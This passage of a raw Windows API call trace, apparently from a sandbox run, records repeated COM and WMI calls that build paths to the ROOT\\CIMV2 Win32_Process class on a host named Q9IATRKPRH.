ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0125.871] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0125.871] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0125.871] IUnknown:Release (This=0x1a943398) returned 0x1 [0125.872] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1a9db0f0) returned 0x0 [0125.872] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a9db0f0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0125.872] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1a9db0f0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1a97fe50) returned 0x0 [0125.872] WbemDefPath:IUnknown:Release (This=0x1a9db0f0) returned 0x0 [0125.872] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97fe50, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1a97fe50) returned 0x0 [0125.872] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97fe50, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0125.873] WbemDefPath:IUnknown:AddRef (This=0x1a97fe50) returned 0x3 [0125.873] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97fe50, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0125.873] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97fe50, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0125.873] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97fe50, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1a9db170) returned 0x0 [0125.873] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1a9db170, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0125.873] WbemDefPath:IUnknown:Release (This=0x1a9db170) returned 0x3 [0125.873] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0125.873] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0125.873] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97fe50, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0125.873] WbemDefPath:IUnknown:Release (This=0x1a97fe50) returned 0x2 [0125.873] WbemDefPath:IUnknown:Release (This=0x1a97fe50) returned 0x1 [0125.873] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0125.873] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0125.873] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97fe50, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1a97fe50) returned 0x0 [0125.873] WbemDefPath:IUnknown:AddRef (This=0x1a97fe50) returned 0x3 [0125.873] WbemDefPath:IUnknown:Release (This=0x1a97fe50) returned 0x2 [0125.873] WbemDefPath:IWbemPath:SetText (This=0x1a97fe50, uMode=0x4, pszPath="") returned 0x0 [0125.873] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97fe50, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0125.874] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97fd90, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0125.874] WbemDefPath:IWbemPath:GetClassName (in: This=0x1a97fe50, puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0 | out: puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0) returned 0x8004103a [0125.874] WbemDefPath:IWbemPath:GetServer (in: This=0x1a97fe50, puNameBufLength=0x1bb7e5d8*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e5d8*=0x0, pName=0x0) returned 0x80041009 [0125.875] WbemDefPath:IWbemPath:SetServer (This=0x1a97fe50, Name="Q9IATRKPRH") returned 0x0 [0125.875] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0125.875] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0125.875] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0125.875] IUnknown:Release (This=0x1a943398) returned 0x1 [0125.876] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1a9db190) returned 0x0 [0125.876] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a9db190, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0125.876] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1a9db190, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1a97ff10) returned 0x0 [0125.876] WbemDefPath:IUnknown:Release (This=0x1a9db190) returned 0x0 [0125.877] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97ff10, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1a97ff10) returned 0x0 [0125.877] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97ff10, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0125.877] WbemDefPath:IUnknown:AddRef (This=0x1a97ff10) returned 0x3 [0125.877] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97ff10, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0125.877] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97ff10, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0125.877] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97ff10, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1a9db1d0) returned 0x0 [0125.877] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1a9db1d0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0125.877] WbemDefPath:IUnknown:Release (This=0x1a9db1d0) returned 0x3 [0125.877] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0125.877] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0125.877] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97ff10, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0125.877] WbemDefPath:IUnknown:Release (This=0x1a97ff10) returned 0x2 [0125.877] WbemDefPath:IUnknown:Release (This=0x1a97ff10) returned 0x1 [0125.877] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0125.877] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0125.877] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97ff10, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1a97ff10) returned 0x0 [0125.877] WbemDefPath:IUnknown:AddRef (This=0x1a97ff10) returned 0x3 [0125.877] WbemDefPath:IUnknown:Release (This=0x1a97ff10) returned 0x2 [0125.877] WbemDefPath:IWbemPath:SetText (This=0x1a97ff10, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0125.878] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97fe50, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0125.878] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97ff10, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x2) returned 0x0 [0125.878] WbemDefPath:IWbemPath:GetText (in: This=0x1a97ff10, lFlags=16, puBuffLength=0x1bb7e538*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e538*=0xb, pszText=0x0) returned 0x0 [0125.878] WbemDefPath:IWbemPath:GetText (in: This=0x1a97ff10, lFlags=16, puBuffLength=0x1bb7e538*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e538*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0125.878] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1a97fe50) returned 0x0 [0125.878] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97ff10, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0125.878] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1a97ff10, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x5, pName=0x0) returned 0x0 [0125.878] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1a97ff10, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x5, pName="0000" | out: puNameBufLength=0x1bb7e598*=0x5, pName="ROOT") returned 0x0 [0125.879] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1a97fe50, uIndex=0x0, pszName="ROOT") returned 0x0 [0125.879] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1a97ff10, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x6, pName=0x0) returned 0x0 [0125.879] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1a97ff10, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x6, pName="00000" | out: puNameBufLength=0x1bb7e598*=0x6, pName="CIMV2") returned 0x0 [0125.879] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1a97fe50, uIndex=0x1, pszName="CIMV2") returned 0x0 [0125.879] WbemDefPath:IWbemPath:GetClassName (in: This=0x1a97fe50, puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0 | out: puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0) returned 0x8004103a [0125.879] WbemDefPath:IWbemPath:SetClassName (This=0x1a97fe50, Name="Win32_Process") returned 0x0 [0125.879] WbemDefPath:IWbemPath:GetInfo (in: This=0x1a97fe50, uRequestedInfo=0x0, puResponse=0x1bb7e6b8 | out: puResponse=0x1bb7e6b8*=0x20c16) returned 0x0 [0125.880] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97fe50, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0125.880] WbemDefPath:IWbemPath:GetText (in: This=0x1a97fe50, lFlags=4, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x26, pszText=0x0) returned 0x0 [0125.880] WbemDefPath:IWbemPath:GetText (in: This=0x1a97fe50, lFlags=4, puBuffLength=0x1bb7e608*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0125.881] WbemDefPath:IWbemPath:GetInfo (in: This=0x1a97fe50, uRequestedInfo=0x0, puResponse=0x1bb7e628 | out: puResponse=0x1bb7e628*=0x20c16) returned 0x0 [0125.881] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97fe50, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0125.881] WbemDefPath:IWbemPath:GetText (in: This=0x1a97fe50, lFlags=8, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x18, pszText=0x0) returned 0x0 [0125.881] WbemDefPath:IWbemPath:GetText (in: This=0x1a97fe50, lFlags=8, puBuffLength=0x1bb7e608*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x18, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2") returned 0x0 [0125.881] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97fc10, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0125.881] WbemDefPath:IWbemPath:GetText (in: This=0x1a97fc10, lFlags=16, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0xb, pszText=0x0) returned 0x0 [0125.881] WbemDefPath:IWbemPath:GetText (in: This=0x1a97fc10, lFlags=16, puBuffLength=0x1bb7e608*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e608*=0xb, pszText="root\\cimv2") returned 0x0 [0125.881] WbemDefPath:IWbemPath:GetText (in: This=0x1a97fe50, lFlags=2, puBuffLength=0x1bb7e618*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e618*=0xe, pszText=0x0) returned 0x0 [0125.881] WbemDefPath:IWbemPath:GetText (in: This=0x1a97fe50, lFlags=2, puBuffLength=0x1bb7e618*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e618*=0xe, pszText="Win32_Process") returned 0x0 [0125.881] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e568 | out: ppv=0x1bb7e568*=0x1a943398) returned 0x0 [0125.881] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e558 | out: pAptType=0x1bb7e558*=1) returned 0x0 [0125.881] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e560 | out: ppvObject=0x1bb7e560*=0x0) returned 0x80004002 [0125.881] IUnknown:Release (This=0x1a943398) returned 0x1 [0125.883] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d980 | out: ppv=0x1bb7d980*=0x1a9db430) returned 0x0 [0125.883] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a9db430, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d9c8 | out: ppvObject=0x1bb7d9c8*=0x0) returned 0x80004002 [0125.883] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1a9db430, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d978 | out: ppvObject=0x1bb7d978*=0x1a97ffd0) returned 0x0 [0125.883] WbemDefPath:IUnknown:Release (This=0x1a9db430) returned 0x0 [0125.883] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97ffd0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d788 | out: ppvObject=0x1bb7d788*=0x1a97ffd0) returned 0x0 [0125.883] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97ffd0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d830 | out: ppvObject=0x1bb7d830*=0x0) returned 0x80004002 [0125.883] WbemDefPath:IUnknown:AddRef (This=0x1a97ffd0) returned 0x3 [0125.883] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97ffd0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ced8 | out: ppvObject=0x1bb7ced8*=0x0) returned 0x80004002 [0125.883] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97ffd0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7ce60 | out: ppvObject=0x1bb7ce60*=0x0) returned 0x80004002 [0125.883] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97ffd0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ce50 | out: ppvObject=0x1bb7ce50*=0x1a9db470) returned 0x0 [0125.883] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1a9db470, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce78 | out: pCid=0x1bb7ce78*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0125.883] WbemDefPath:IUnknown:Release (This=0x1a9db470) returned 0x3 [0125.884] CoGetContextToken (in: pToken=0x1bb7cf00 | out: pToken=0x1bb7cf00) returned 0x0 [0125.884] CoGetContextToken (in: pToken=0x1bb7d380 | out: pToken=0x1bb7d380) returned 0x0 [0125.884] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97ffd0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d440 | out: ppvObject=0x1bb7d440*=0x0) returned 0x80004002 [0125.884] WbemDefPath:IUnknown:Release (This=0x1a97ffd0) returned 0x2 [0125.884] WbemDefPath:IUnknown:Release (This=0x1a97ffd0) returned 0x1 [0125.884] CoGetContextToken (in: pToken=0x1bb7e1a0 | out: pToken=0x1bb7e1a0) returned 0x0 [0125.884] CoGetContextToken (in: pToken=0x1bb7e0a0 | out: pToken=0x1bb7e0a0) returned 0x0 [0125.884] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97ffd0, riid=0x1bb7e200*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e1d0 | out: ppvObject=0x1bb7e1d0*=0x1a97ffd0) returned 0x0 [0125.884] WbemDefPath:IUnknown:AddRef (This=0x1a97ffd0) returned 0x3 [0125.884] WbemDefPath:IUnknown:Release (This=0x1a97ffd0) returned 0x2 [0125.884] WbemDefPath:IWbemPath:SetText (This=0x1a97ffd0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0125.884] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97fc10, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0125.884] WbemDefPath:IWbemPath:GetText (in: This=0x1a97fc10, lFlags=8, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0xf, pszText=0x0) returned 0x0 [0125.884] WbemDefPath:IWbemPath:GetText (in: This=0x1a97fc10, lFlags=8, puBuffLength=0x1bb7e608*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e608*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0125.884] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0125.884] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0125.885] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0125.885] IUnknown:Release (This=0x1a943398) returned 0x1 [0125.886] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1a9db4b0) returned 0x0 [0125.886] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a9db4b0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, 